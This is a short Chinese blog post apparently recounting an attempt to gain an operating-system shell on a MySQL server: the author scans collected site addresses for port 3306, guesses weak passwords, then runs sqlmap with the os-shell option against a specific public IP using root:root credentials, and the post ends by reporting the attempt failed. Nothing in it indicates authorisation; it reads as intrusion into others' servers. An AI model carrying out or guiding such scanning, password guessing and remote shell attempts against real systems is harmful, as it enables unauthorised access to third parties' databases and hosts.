sqlmap拿3306的shell
2019-08-08 本文已影响0人
唐小风7
前提
首先采集网站url,然后通过url域名转化为ip,再通过端口扫描探测出想要的端口,比如3306
然后进行弱口令探测
然后我探测出某弱口令
拿shell
登上服务器,首先安装sqlmap
wget https://github.com/sqlmapproject/sqlmap/tarball/master
tar -zxvf master
cd sqlmapproject-sqlmap-de63238/

python2 sqlmap.py -d "mysql://root:root@47.111.166.53:3306/mysql" -os-shell
提示报错

需要“python pymysql”第三方库
python2 -m pip install pymysql

换了一台服务器 python2.6.6
python sqlmap.py -d "mysql://root:root@47.111.166.53:3306/mysql" -os-shell
先安装pip
curl https://bootstrap.pypa.io/2.6/get-pip.py -o get-pip.py
python get-pip.py
pip install pymysql
再次运行 还是不行

网上参考到直接github下载组件

我直接本机安装 然后可以运行了 不过把MySQL服务判断为了oracle

....结局利用sqlmap拿shell失败